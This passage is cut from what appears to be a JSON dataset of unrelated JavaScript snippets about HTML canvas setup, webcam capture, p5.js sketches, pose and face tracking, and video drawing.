WebRTCPeerClient.initSocketClient('https://XXXXXXXX.ngrok.io/');\\n\\n // Start the peer client\\n WebRTCPeerClient.initPeerClient();\\n\\n // start your video\\n // your webcam will always appear below the canvas\\n myVideo = createCapture(VIDEO);\\n myVideo.size(width, height);\\n myVideo.hide();\\n\\n ////// HOW TO DEFINE OTHER PERSON'S VIDEO? //////\\n // otherVideo = createCapture(VIDEO);\\n // otherVideo.size(width, height);\\n\\n}\",\n \"function paintToCanvas() { //to display webcame live in a specified canvas with videos actual height and width\\n\\n const width = video.videoWidth; //getting actual height and width of video\\n const height = video.videoHeight;\\n canvas.width = width; //setting the canvas width and height accordingly \\n canvas.height = height;\\n return setInterval(() => { //by setintertval method we are drawing the recieved video's image in after every 16milli sec \\n ctx.drawImage(video, 0, 0, width, height); //here we are drawing the image recieved in canvas\\n let pixels = ctx.getImageData(0, 0, width, height) //here we are getting the canvas image to make some effect\\n // console.log(pixels)\\n // debugger;\\n // pixels = redeffect(pixels) //here redeffect is called\\n // console.log(hola);\\n pixels = rgbsplit(pixels) // we are calling rgb split to make some changes in the pixels thats is the image we get from canvas\\n ctx.globalAlpha=0.8; \\n // pixels = greenscreen(pixels)\\n ctx.putImageData(pixels, 0, 0); //after we get the changed pixels we put it back in the canvas\\n }, 16);\\n}\",\n \"function setup() {\\n createCanvas(640, 480);\\n video = select(\\\"video\\\") || createCapture(VIDEO);\\n video.size(width, height);\\n\\n const poseNet = ml5.poseNet(video, { flipHorizontal: true }, () => {\\n select(\\\"#status\\\").hide();\\n });\\n\\n poseNet.on(\\\"pose\\\", (newPoses) => {\\n poses = newPoses;\\n });\\n\\n // Hide the video element, and just show the canvas\\n video.hide();\\n}\",\n \"function ytInject() {\\n injectStyle();\\n injectCanvas();\\n injectButton();\\n\\n $(window).resize(function() {\\n var main = $('#vt-main-div').get(0);\\n var canvas = $('#vt-canvas').get(0);\\n\\n main.style.height = $('.video-stream').height();\\n main.style.width = $('.video-stream').width();\\n $('#vt-canvas').height($('vt-main-div').height());\\n $('#vt-canvas').width($('vt-main-div').width());\\n\\n //Scale the canvas to achieve proper resolution\\n canvas.width=$('#vt-main-div').width()*window.devicePixelRatio;\\n canvas.height=$('#vt-main-div').height()*window.devicePixelRatio;\\n canvas.style.width=$('#vt-main-div').width() + \\\"px\\\";\\n canvas.style.height=$('#vt-main-div').height() + \\\"px\\\";\\n });\\n}\",\n \"setup(canvas) {\\n this.engine.renderer.setup(canvas);\\n this.start();\\n }\",\n \"function start() {\\n if (initialized)\\n return;\\n\\n let myCanvas = document.getElementById(\\\"canvas\\\");\\n myCanvas.classList.toggle(\\\"hide\\\");\\n\\n let button = document.getElementById(\\\"webcamButton\\\");\\n button.classList.add(\\\"hide\\\");\\n\\n window.ctx = myCanvas.getContext('2d', {alpha: false});\\n\\n var mycamvas = new camvas(window.ctx, processFrame);\\n initialized = true;\\n}\",\n \"function drawVedio() {\\n setTimeout(() => {\\n canvas.getContext(\\\"2d\\\").drawImage(video, 0, 0, 100, 100);\\n drawVedio();\\n }, 0);\\n }\",\n \"function setupMotionDetection() {\\n md_canvas = document.getElementById('mdCanvas');\\n test_canvas = document.getElementById('testCanvas');\\n md_canvas.width = vid_width;\\n md_canvas.height = vid_height;\\n}\",\n \"function prepareCanvas() {\\n canvas = window._canvas = new fabric.Canvas('canvas');\\n canvas.backgroundColor = '#ffffff';\\n canvas.isDrawingMode = 1;\\n canvas.freeDrawingBrush.color = \\\"black\\\";\\n canvas.freeDrawingBrush.width = 1;\\n canvas.renderAll();\\n //setup listeners \\n canvas.on('mouse:up', function(e) {\\n getFrame();\\n mousePressed = false\\n });\\n canvas.on('mouse:down', function(e) {\\n mousePressed = true\\n });\\n canvas.on('mouse:move', function(e) {\\n recordCoor(e)\\n });\\n}\",\n \"function setupCanvas() {\\n// setup everything else\\n\\tconsole.log(\\\"Setting up canvas...\\\")\\n\\tcanvas = document.getElementById(\\\"drone-sim-canvas\\\");\\n\\twindow.addEventListener(\\\"keyup\\\", keyFunctionUp, false);\\n\\twindow.addEventListener(\\\"keydown\\\", keyFunctionDown, false);\\n\\twindow.onresize = doResize;\\n\\tcanvas.width = window.innerWidth-16;\\n\\tcanvas.height = window.innerHeight-200;\\n\\tconsole.log(\\\"Done.\\\")\\n}\",\n \"function setup() {\\n createCanvas(windowWidth, windowHeight);\\n capture = createCapture(VIDEO);\\n capture.size(windowWidth, windowHeight);\\n capture.hide();\\n background(255, 0, 200);\\n}\",\n \"function setup() {\\n // setup canvas: target\\n canvas = createCanvas(640, 480, WEBGL);\\n canvas.id('p5canvas');\\n background(51);\\n\\n // setup webcam: source\\n video = createCapture(VIDEO);\\n video.size(width, height);\\n video.id('p5video'); // giving an ID to the video to link to seriously\\n video.hide();\\n\\n // switch between modes\\n createP(\\\"To start, press 'a' for blur or 's' for vignette.\\\");\\n\\n // adjust blur\\n createP('Adjust Blur');\\n blurSlider = createSlider(0, 1, 0.5, 0.01);\\n blurSlider.id('blur-slider');\\n\\n // adjust vignette strength\\n createP('Adjust Vignette');\\n vignetteSlider = createSlider(0, 100, 50);\\n vignetteSlider.id('vignette-slider');\\n\\n\\n // Call Seriously function inside the variable: seriously\\n seriously = new Seriously(); // create an object called seriously\\n\\n // Source: webcam, target: canvas\\n src = seriously.source('#p5video');\\n target = seriously.target('#p5canvas');\\n\\n keyReleased();\\n\\n seriously.go();\\n\\n\\n}\",\n \"_setupCanvas () {\\r\\n\\t\\tthis.canvas = document.createElement('canvas');\\r\\n\\t\\tthis.context = this.canvas.getContext('2d');\\r\\n\\r\\n\\t\\tthis.canvas.width = 500;\\r\\n\\t\\tthis.canvas.height = 500;\\r\\n\\r\\n\\t\\tlet body = document.getElementById('body');\\r\\n\\t\\tbody.appendChild(this.canvas);\\r\\n\\t}\",\n \"function render(){\\n var canvas = $('#canvas')[0];\\n var context = canvas.getContext('2d');\\n var video = $('#camera')[0];\\n\\n // copy camera frame from video to canvas so lines can be drawn on\\n try{\\n context.drawImage(video, 0, 0, video.width, video.height);\\n }\\n catch(error){\\n if(error.name != \\\"NS_ERROR_NOT_AVAILABLE\\\"){\\n throw error;\\n }\\n }\\n\\n // save original canvas\\n var subcanvas = $('#binary')[0];\\n var subcontext = subcanvas.getContext('2d');\\n subcontext.drawImage(canvas, canvas.width/4, canvas.height*3/8, canvas.width/2, canvas.height/4, 0, 0, subcanvas.width, subcanvas.height);\\n\\n // remaining detection\\n process(subcanvas);\\n\\n // flip horizontally\\n context.setTransform(1, 0, 0, 1, 0, 0);\\n context.translate(canvas.width, 0);\\n context.scale(-1, 1);\\n\\n // draw line\\n context.lineWidth = 1;\\n context.strokeStyle = 'green';\\n context.beginPath();\\n context.moveTo(canvas.width/4, canvas.height/2);\\n context.lineTo(canvas.width*3/4, canvas.height/2);\\n context.moveTo(canvas.width/2, canvas.height*3/8);\\n context.lineTo(canvas.width/2, canvas.height*5/8);\\n context.stroke();\\n\\n context.strokeStyle = 'blue';\\n context.beginPath();\\n context.moveTo(canvas.width*1/4, canvas.height*3/8);\\n context.lineTo(canvas.width*3/4, canvas.height*3/8);\\n context.lineTo(canvas.width*3/4, canvas.height*5/8);\\n context.lineTo(canvas.width*1/4, canvas.height*5/8);\\n context.closePath();\\n context.stroke();\\n\\n requestAnimationFrame(render);\\n }\",\n \"initialiseCanvas(){\\n let canvas = document.querySelector(\\\".genetic-art .canvas_container .result\\\");\\n canvas.width = this.modelData.width;\\n canvas.height = this.modelData.height;\\n }\",\n \"function setCanvas(){\\n _canvas = document.getElementById('canvas');\\n _stage = _canvas.getContext('2d');\\n _canvas.width = _puzzleWidth;\\n _canvas.height = _puzzleHeight;\\n}\",\n \"async function setupCamera() {\\n const video = document.getElementById('video');\\n const canvas = document.getElementById('canvas');\\n if (!video || !canvas) return null;\\n\\n let msg = '';\\n log('Setting up camera');\\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\\n if (!navigator.mediaDevices) {\\n log('Camera Error: access not supported');\\n return null;\\n }\\n let stream;\\n const constraints = {\\n audio: false,\\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\\n };\\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\\n else constraints.video.height = { ideal: window.innerHeight };\\n try {\\n stream = await navigator.mediaDevices.getUserMedia(constraints);\\n } catch (err) {\\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\\n log(`Camera Error: ${msg}: ${err.message || err}`);\\n return null;\\n }\\n // @ts-ignore\\n if (stream) video.srcObject = stream;\\n else {\\n log('Camera Error: stream empty');\\n return null;\\n }\\n const track = stream.getVideoTracks()[0];\\n const settings = track.getSettings();\\n if (settings.deviceId) delete settings.deviceId;\\n if (settings.groupId) delete settings.groupId;\\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\\n log(`Camera active: ${track.label}`); // ${str(constraints)}\\n log(`Camera settings: ${str(settings)}`);\\n canvas.addEventListener('click', () => {\\n // @ts-ignore\\n if (video && video.readyState >= 2) {\\n // @ts-ignore\\n if (video.paused) {\\n // @ts-ignore\\n video.play();\\n detectVideo(video, canvas);\\n } else {\\n // @ts-ignore\\n video.pause();\\n }\\n }\\n // @ts-ignore\\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\\n });\\n return new Promise((resolve) => {\\n video.onloadeddata = async () => {\\n // @ts-ignore\\n canvas.width = video.videoWidth;\\n // @ts-ignore\\n canvas.height = video.videoHeight;\\n // @ts-ignore\\n video.play();\\n detectVideo(video, canvas);\\n resolve(true);\\n };\\n });\\n}\",\n \"function setup() {\\n createCanvas(1280, 480); // Create a display window\\n img = loadImage('lk.jpg'); // Load the image\\n capture = createCapture(VIDEO); // Get the capture video\\n capture.id(\\\"video_elemyent\\\"); // Set the video Id\\n capture.size(640, 480); // Define video size to 640x480\\n capture.hide() // Hide the streaning video\\n faceapi = ml5.faceApi(capture, faceReady);\\n}\",\n \"function setup() {\\n let canvasDiv = document.getElementById('animation');\\n canvasWidth = canvasDiv.offsetWidth;\\n canvasHeight = canvasDiv.offsetHeight;\\n pipesAmount = Math.floor(canvasHeight / (minPipeHeight + 1));\\n pipesWidth = canvasWidth / (pipesAmount + 1);\\n // Creates canvas\\n let canvas = createCanvas(canvasWidth, canvasHeight);\\n // Declares the parent div of the canvas\\n canvas.parent('animation');\\n}\",\n \"function setCanvas(){\\r\\n _canvas = document.getElementById('canvas');\\r\\n _stage = _canvas.getContext('2d');\\r\\n _canvas.width = _puzzleWidth;\\r\\n _canvas.height = _puzzleHeight;\\r\\n _canvas.style.border = \\\"1px solid black\\\";\\r\\n}\",\n \"init() {\\n const wrapper = document.getElementById('canvasWrapper');\\n let newCanvas;\\n if (!document.querySelector('canvas')) {\\n newCanvas = document.createElement('canvas');\\n newCanvas.width = this.width;\\n newCanvas.height = this.height;\\n newCanvas.setAttribute('id', 'canvas');\\n this.context = newCanvas.getContext('2d');\\n wrapper.appendChild(newCanvas);\\n } else {\\n newCanvas = document.getElementById('canvas');\\n newCanvas.width = this.width;\\n newCanvas.height = this.height;\\n this.context = newCanvas.getContext('2d');\\n }\\n this.style(wrapper);\\n }\",\n \"drawScreen () {\\n if(this.video1.canplaythrough && this.video2.canplaythrough) {\\n this.context.putImageData(this.video1.context.getImageData(0,0, 320, 180), 0, 0);\\n this.context.putImageData(this.video2.context.getImageData(0,0, 320, 180), 0, 0);\\n this.context.drawImage(this.video2.canvas, 0, 0);\\n this.context.drawImage(this.video1.canvas, 0, 0);\\n // let frame1 = this.video2.context.getImageData(0,0, 320, 180);\\n // this.context.putImageData(frame1, 0, 0);\\n }\\n }\",\n \"createCanvas() {\\n this.canvas = document.createElement('canvas');\\n this.canvas.width = this.width * this.resolution;\\n this.canvas.height = this.height * this.resolution;\\n this.context = this.canvas.getContext('2d');\\n }\",\n \"_addCanvas() { // add canvas will add a track to the screen by changing the CSS of div elements and buttons, can add up to 4 tracks\\n if (this.numberOfCanvases == 1) { // set up canvas context for visualizer\\n this.canvasContainer = document.getElementById('canvasContainer1');\\n this.canvas = document.getElementById('canvas1');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 2) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer2');\\n this.canvas = document.getElementById('canvas2');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 3) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer3');\\n this.canvas = document.getElementById('canvas3');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 4) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer4');\\n this.canvas = document.getElementById('canvas4');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n }\\n }\",\n \"initializeCanvas(){\\n\\t\\tconsole.log(`======] Init Canvas [======`, this.state);\\n\\n\\t\\tif(this.state.device.width && this.state.device.height){\\n\\t\\t\\tthis.canvas = document.createElement('canvas');\\n\\t\\t\\tthis.canvas.id = 'screen-canvas';\\n\\t\\t\\tthis.canvas.width = this.state.device.width/2;\\n\\t\\t\\tthis.canvas.height = this.state.device.height/2;\\n\\t\\t\\tthis.canvas.style = 'margin: 50px; border: 1px solid black; cursor: pointer;';\\n\\t\\t\\tthis.canvas.onmouseover = this.cursorOver.bind(this);\\n\\t\\t\\tthis.canvas.onmouseout = this.cursorOut.bind(this);\\n\\t\\t\\tthis.canvas.onmousedown = this.interactStart.bind(this);\\n\\t\\t\\tthis.canvas.onmousemove = this.interactMove.bind(this);\\n\\t\\t\\tthis.canvas.onmouseup = this.interactEnd.bind(this);\\n\\t\\t\\tthis.canvas.onmousewheel = this.mouseWheel.bind(this);\\n\\t\\t\\tdocument.body.onkeydown = this.keyDown.bind(this);\\n\\t\\t\\tdocument.body.onkeyup = this.keyUp.bind(this);\\n\\n\\t\\t\\tdocument.getElementById('screen-container').appendChild(this.canvas)\\n\\t\\t\\tthis.ctx = this.canvas.getContext('2d');\\n\\t\\t}else{\\n\\t\\t\\talert(`Device resolution failed to be detected`);\\n\\t\\t}\\n\\t}\",\n \"function setup() {\\n createCanvas(800, 600);\\n pixelDensity(1); //for retina displays\\n capture = createCapture(VIDEO);\\n capture.size(width / vScale, height / vScale);\\n capture.hide();\\n\\n\\n}\",\n \"function createCanvasZone(canvas,ctx,video){\\r\\n \\r\\n var BtnZone = document.createElement('div');\\r\\n BtnZone.id=\\\"canvasBtnZone\\\";\\r\\n \\r\\n var clear_btn = document.createElement('input');\\r\\n clear_btn.type = \\\"button\\\";\\r\\n clear_btn.id = 'clearCanvas';\\r\\n clear_btn.className = \\\"canvas_btn\\\";\\r\\n clear_btn.value='Clear';\\r\\n clear_btn.onclick=function(){clearArea(ctx)};\\r\\n \\r\\n var close_btn = document.createElement('input');\\r\\n close_btn.type = \\\"button\\\";\\r\\n close_btn.className = \\\"canvas_btn\\\";\\r\\n close_btn.id = 'closeCanvas';\\r\\n close_btn.value='Close';\\r\\n close_btn.onclick=function(){BtnZone.remove();};\\r\\n \\r\\n\\r\\n \\r\\n var send_btn = document.createElement('input');\\r\\n send_btn.type = \\\"button\\\";\\r\\n send_btn.id = 'sendscreenShot';\\r\\n send_btn.className = \\\"canvas_btn\\\";\\r\\n send_btn.value='Send screenshot';\\r\\n send_btn.onclick=function(){sendScreenshot()};\\r\\n \\r\\n \\r\\n $('#CanvasZone').append(BtnZone);\\r\\n $('#canvasBtnZone').append(clear_btn);\\r\\n $('#canvasBtnZone').append(close_btn);\\r\\n $('#canvasBtnZone').append(send_btn); \\r\\n $('#canvasBtnZone').append(canvas); \\r\\n \\r\\n InitThis(ratio,canvas,video);\\r\\n}\",\n \"function takePhoto (e) {\\nlet ctx = outputCanvas.getContext('2d')\\nctx.drawImage(inputVideo,0,0)\\n}\",\n \"function initCanvas(width, height){}\",\n \"function setup()\\n{\\n const maxWidth = Math.min(windowWidth, windowHeight);\\n pixelDensity(1);\\n outputWidth = maxWidth;\\n outputHeight = maxWidth * 0.75; // 4:3\\n\\n createCanvas(outputWidth, outputHeight);\\n\\n // webcam capture\\n videoInput = createCapture(VIDEO);\\n videoInput.size(outputWidth, outputHeight);\\n videoInput.hide();\\n\\n // select filter\\n const sel = createSelect();\\n const selectList = ['Donal trump', 'Dog Filter', 'billgate', 'pikachu']; // list of filters\\n sel.option('Select Filter', -1); // Default no filter\\n for (let i = 0; i < selectList.length; i++)\\n {\\n sel.option(selectList[i], i);\\n }\\n sel.changed(applyFilter);\\n\\n // tracker\\n faceTracker = new clm.tracker();\\n faceTracker.init();\\n faceTracker.start(videoInput.elt);\\n}\",\n \"function setUpCanvas() {\\r\\n canvas = document.createElement(\\\"CANVAS\\\");\\r\\n canvas.id = \\\"canvas\\\";\\r\\n canvas.style.width = \\\"100%\\\";\\r\\n canvas.style.height = \\\"100%\\\";\\r\\n canvas.style.background = 'black';\\r\\n canvas.style.marginLeft = 'auto';\\r\\n canvas.style.marginRight = 'auto';\\r\\n canvas.style.display = 'block';\\r\\n }\",\n \"init() {\\n if (this.canvas.getContext) {\\n this.start();\\n } else {\\n canvas.textContent = 'Sorry canvas not suport';\\n }\\n }\",\n \"function adaptElements() {\\n const rect = document.body.getBoundingClientRect();\\n const screenWidth = rect.width;\\n const screenHeight = rect.height;\\n const videoWidth = video.videoWidth;\\n const videoHeight = video.videoHeight;\\n const widthRatio = videoWidth / screenWidth;\\n const heightRatio = videoHeight / screenHeight;\\n const ratio = Math.min(widthRatio, heightRatio);\\n // set image size and offset\\n imageWidth = Math.floor(ratio * screenWidth + 0.5);\\n imageHeight = Math.floor(ratio * screenHeight + 0.5);\\n videoX = Math.max(0, Math.floor(0.5 * (videoWidth - imageWidth) + 0.5));\\n videoY = Math.max(0, Math.floor(0.5 * (videoHeight - imageHeight) + 0.5));\\n // adapt canvas size to input video size\\n canvas.width = imageWidth;\\n canvas.height = imageHeight;\\n // adapt canvas size to screen\\n image.width = screenWidth;\\n image.height = screenHeight;\\n // calculate video screen size and offset\\n const videoScreenWidth = Math.floor(videoWidth / ratio + 0.5);\\n const videoScreenHeight = Math.floor(videoHeight / ratio + 0.5);\\n const videoScreenX = Math.floor(videoX / ratio + 0.5);\\n const videoScreenY = Math.floor(videoY / ratio + 0.5);\\n // resize and position video an screen\\n video.width = videoScreenWidth;\\n video.height = videoScreenHeight;\\n video.style.left = `${-videoScreenX}px`;\\n video.style.top = `${-videoScreenY}px`;\\n // show live video\\n resetVideo();\\n }\",\n \"static init(canvas){\\r\\n\\r\\n\\r\\n\\t}\",\n \"function playVideo(videoTimeline) {\\n\\n const timelineNode = videoTimeline.next\\n const video = videoTimeline.data.videoCore\\n const videoEndTime = videoTimeline.data.metadata.endTime\\n \\n loop = () => {\\n if (!window.currentlyPlaying) {\\n return\\n }\\n\\n if (videoEndTime < video.currentTime + 0.01) {\\n /* Pausing the current video if necessary */\\n video.pause()\\n\\n if (timelineNode) {\\n\\n /* Setting the current switch value */\\n if (timelineNode.data.metadata.ratio == 'fit') {\\n window.currentRatio = 'fit'\\n document.querySelector('.toogle-fit').click()\\n } else if (timelineNode.data.metadata.ratio == 'strech') {\\n window.currentRatio = 'strech'\\n document.querySelector('.toogle-strech').click()\\n }\\n\\n /* Starting next video from the beginning */\\n timelineNode.data.videoCore.currentTime = timelineNode.data.metadata.startTime\\n\\n /* Updating the window.currentVideoSelectedForPlayback variable */\\n window.currentVideoSelectedForPlayback = timelineNode\\n\\n /* Playing the next frame */\\n playVideo(timelineNode)\\n }\\n } else {\\n /* Updating the UI */\\n renderUIAfterFrameChange(videoTimeline)\\n\\n /* Drawing at 30fps (1000 / 30 = 33,3333..)*/\\n setTimeout(loop, 33.3333333) \\n }\\n }\\n\\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\\n\\n if (alpha1 < alpha2) {\\n canvas.width = video.videoWidth + alpha1\\n canvas.height = video.videoHeight\\n } else {\\n canvas.width = video.videoWidth\\n canvas.height = video.videoHeight + alpha2\\n }\\n \\n loop()\\n video.play()\\n}\",\n \"function gStart() {\\n\\n // PREVENT DOUBLE CLICK FROM SELECTING THE CANVAS:\\n\\n var noSelectHTML = \\\"\\\"\\n + \\\" \\\"\\n ;\\n var headElement = document.getElementsByTagName('head')[0];\\n headElement.innerHTML = noSelectHTML + headElement.innerHTML;\\n\\n // ADD VIEWER ELEMENTS TO DOCUMENT\\n\\n var viewerHTML = \\\"\\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n +\\n (isShowingRenderer\\n ?\\n \\\" \\\"\\n + \\\" \\\"\\n :\\n \\\" \\\"\\n + \\\" \\\"\\n )\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n + \\\" \\\"\\n + \\\" \\\"\\n\\n// + \\\" \\\"\\n ;\\n window.bodyElement = document.getElementsByTagName('body')[0];\\n bodyElement.innerHTML = '' + viewerHTML + bodyElement.innerHTML + '';\\n bodyElement.style.color = blackBackgroundColor;\\n\\n // SET ALL THE SCREEN-FILLING ELEMENTS TO THE SIZE OF THE SCREEN.\\n\\n slide.width = width();\\n sketch_canvas.width = width();\\n events_canvas.width = width();\\n\\n slide.height = height();\\n sketch_canvas.height = height();\\n events_canvas.height = height();\\n\\n background.width = width();\\n background.height = height();\\n background.style.backgroundColor = backgroundColor;\\n\\n // INITIALIZE THE SKETCH CANVAS\\n\\n sketch_canvas.animate = function(elapsed) { sketchPage.animate(elapsed); }\\n sketch_canvas.overlay = function() { sketchPage.overlay(); }\\n sketch_canvas.setup = function() {\\n window.onbeforeunload = function(e) { sketchBook.onbeforeunload(e); }\\n setPage(0);\\n }\\n\\n events_canvas.keyDown = function(key) { e2s(); sketchPage.keyDown(key); }\\n events_canvas.keyUp = function(key) { e2s(); sketchPage.keyUp(key); }\\n events_canvas.mouseDown = function(x, y, z) { e2s(); sketchPage.mouseDown(x, y, z); }\\n events_canvas.mouseDrag = function(x, y, z) { e2s(); sketchPage.mouseDrag(x, y, z); }\\n events_canvas.mouseMove = function(x, y, z) { e2s(); sketchPage.mouseMove(x, y, z); }\\n events_canvas.mouseUp = function(x, y, z) { e2s(); sketchPage.mouseUp (x, y, z); }\\n\\n fourStart();\\n\\n if (window['scene_div'] !== undefined) {\\n scene_div.width = width();\\n scene_div.height = height();\\n var sceneElement = document.getElementById('scene_div');\\n sceneElement.appendChild(renderer.domElement);\\n }\\n\\n // SET SIZE OF WEBGL CANVAS\\n\\n webgl_canvas.width = width();\\n webgl_canvas.height = height();\\n\\n // START WEBGL MODELER\\n\\n if (isPhone()) {\\n sketchPadding *= 2;\\n }\\n\\n lightTracker = new LightTracker(video_analysis_canvas);\\n\\n window.ctScene = new CT.Scene(webgl_canvas);\\n ctScene.setLight(0, [ 1, 1, 1]);\\n ctScene.setLight(1, [-1,-1,-1], [.1, .05, 0]);\\n ctScene.setFOV(isPhone() ? PI / 2.5 : PI / 6);\\n\\n initCTPath();\\n\\n // START ALL CANVASES RUNNING\\n\\n var c = document.getElementsByTagName(\\\"canvas\\\");\\n\\n initEventHandlers(events_canvas);\\n initSketchCanvas();\\n\\n // SET SIZE OF VIDEO CANVAS\\n\\n video_canvas.width = width();\\n video_canvas.height = height();\\n\\n // server = new Server();\\n // socket = server.connectSocket();\\n\\n midi = new Midi();\\n\\n document.title = 'Chalktalk';\\n }\",\n \"function init(options) {\\n\\t\\t// sanity check\\n\\t\\tif (!options) {\\n\\t\\t\\tthrow 'No options object provided';\\n\\t\\t}\\n\\n\\t\\t// incoming options with defaults\\n\\t\\tvideo = options.video || document.createElement('video');\\n\\t\\tmotionCanvas = options.motionCanvas || document.createElement('canvas');\\n\\t\\tcaptureIntervalTime = options.captureIntervalTime || 100;\\n\\t\\tcaptureWidth = options.captureWidth || 640;\\n\\t\\tcaptureHeight = options.captureHeight || 480;\\n\\t\\tdiffWidth = options.diffWidth || 64;\\n\\t\\tdiffHeight = options.diffHeight || 48;\\n\\t\\tpixelDiffThreshold = options.pixelDiffThreshold || 32;\\n\\t\\tscoreThreshold = options.scoreThreshold || 16;\\n\\t\\tincludeMotionBox = options.includeMotionBox || false;\\n\\t\\tincludeMotionPixels = options.includeMotionPixels || false;\\n\\n\\t\\t// callbacks\\n\\t\\tinitSuccessCallback = options.initSuccessCallback || function() {};\\n\\t\\tinitErrorCallback = options.initErrorCallback || function() {};\\n\\t\\tstartCompleteCallback = options.startCompleteCallback || function() {};\\n\\t\\tcaptureCallback = options.captureCallback || function() {};\\n\\n\\t\\t// non-configurable\\n\\t\\tcaptureCanvas = document.createElement('canvas');\\n\\t\\tdiffCanvas = document.createElement('canvas');\\n\\t\\tisReadyToDiff = false;\\n\\n\\t\\t// prep video\\n\\t\\tvideo.autoplay = true;\\n\\n\\t\\t// prep capture canvas\\n\\t\\tcaptureCanvas.width = captureWidth;\\n\\t\\tcaptureCanvas.height = captureHeight;\\n\\t\\tcaptureContext = captureCanvas.getContext('2d');\\n\\n\\t\\t// prep diff canvas\\n\\t\\tdiffCanvas.width = diffWidth;\\n\\t\\tdiffCanvas.height = diffHeight;\\n\\t\\tdiffContext = diffCanvas.getContext('2d');\\n\\n\\t\\t// prep motion canvas\\n\\t\\tmotionCanvas.width = diffWidth;\\n\\t\\tmotionCanvas.height = diffHeight;\\n\\t\\tmotionContext = motionCanvas.getContext('2d');\\n\\n\\t\\trequestWebcam();\\n\\t}\",\n \"initCanvas() { \\n\\t\\tthis.canvas = document.getElementById(\\\"canvas\\\");\\n\\t\\tthis.canvas.width = this.level.getNumBlocksRow * Block.SIZE + (2 * Sprite.SIDE_LR_WIDTH);\\n\\t\\tthis.canvas.height = this.level.getNumBlocksColumn * Block.SIZE + (3 * Sprite.SIDE_TMD_HEIGHT) + Sprite.PANEL_HEIGHT;\\n\\t\\tthis.ctx = this.canvas.getContext(\\\"2d\\\");\\t\\n\\t}\",\n \"constructor(sourceCanvas, resultCanvas) {\\n this.source = sourceCanvas.getContext(\\\"2d\\\")\\n this.result = resultCanvas.getContext(\\\"2d\\\")\\n }\",\n \"function CanvasInit(){\\n context.fillStyle = 'white';\\n context.fillRect(0,0,canvas.width, canvas.height);\\n context.fillStyle = 'black';\\n context.strokeStyle = 'black'\\n setUpCanvas();\\n clear();\\n}\",\n \"_initCanvas (canvas) {\\n if (canvas) {\\n this.canvas = canvas\\n this.width = canvas.width\\n this.height = canvas.height\\n } else {\\n this.canvas = document.createElement('canvas')\\n this.canvas.width = this.width\\n this.canvas.height = this.height\\n this.canvas.style.width = '100%'\\n this.canvas.style.height = '100%'\\n this.canvas.style.imageRendering = 'pixelated'\\n document.body.appendChild(this.canvas)\\n }\\n }\",\n \"function Init() {\\n // Get context handles\\n CanvasHandle = document.getElementById(\\\"canvas\\\");\\n CanvasHandle.width = ratioX * scale;\\n CanvasHandle.height = ratioY * scale;\\n ContextHandle = CanvasHandle.getContext(\\\"2d\\\");\\n CanvasWidth = ContextHandle.canvas.clientWidth;\\n CanvasHeight = ContextHandle.canvas.clientHeight;\\n\\n // Create an image backbuffer\\n BackCanvasHandle = document.createElement(\\\"canvas\\\");\\n BackContextHandle = BackCanvasHandle.getContext(\\\"2d\\\");\\n BackCanvasHandle.width = CanvasWidth;\\n BackCanvasHandle.height = CanvasHeight;\\n\\n // Set line style\\n BackContextHandle.lineCap = \\\"butt\\\";\\n BackContextHandle.lineJoin = \\\"round\\\";\\n\\n // Get the canvas center\\n CenterX = CanvasWidth / 2;\\n CenterY = CanvasHeight / 2;\\n Camera = {x:0, y:0, z:1};\\n}\",\n \"set canvas(c){\\n this._canvas = c ;\\n if (c){\\n this._context = c.getContext('2d') ;\\n }\\n }\",\n \"function startVideo() {\\n navigator.getUserMedia(\\n { \\n video: \\n {\\n //the ideal part is imp, it helps to get 16:9 ratio also\\n height : { ideal : window.innerHeight } ,\\n width : { ideal : window.innerWidth }\\n } \\n } ,\\n stream => video.srcObject = stream,\\n err => console.error(err)\\n ) \\n}\",\n \"function initVideo() {\\n log_d(\\\"Initializing the video subsystem\\\");\\n\\n var setVideoDev = function (devs) {\\n log_d(\\\"Got video capture devices: \\\" + JSON.stringify(devs));\\n var dev = '';\\n $.each(devs, function (k, v) {\\n dev = k;\\n $('#webcamsSelect').append($(' 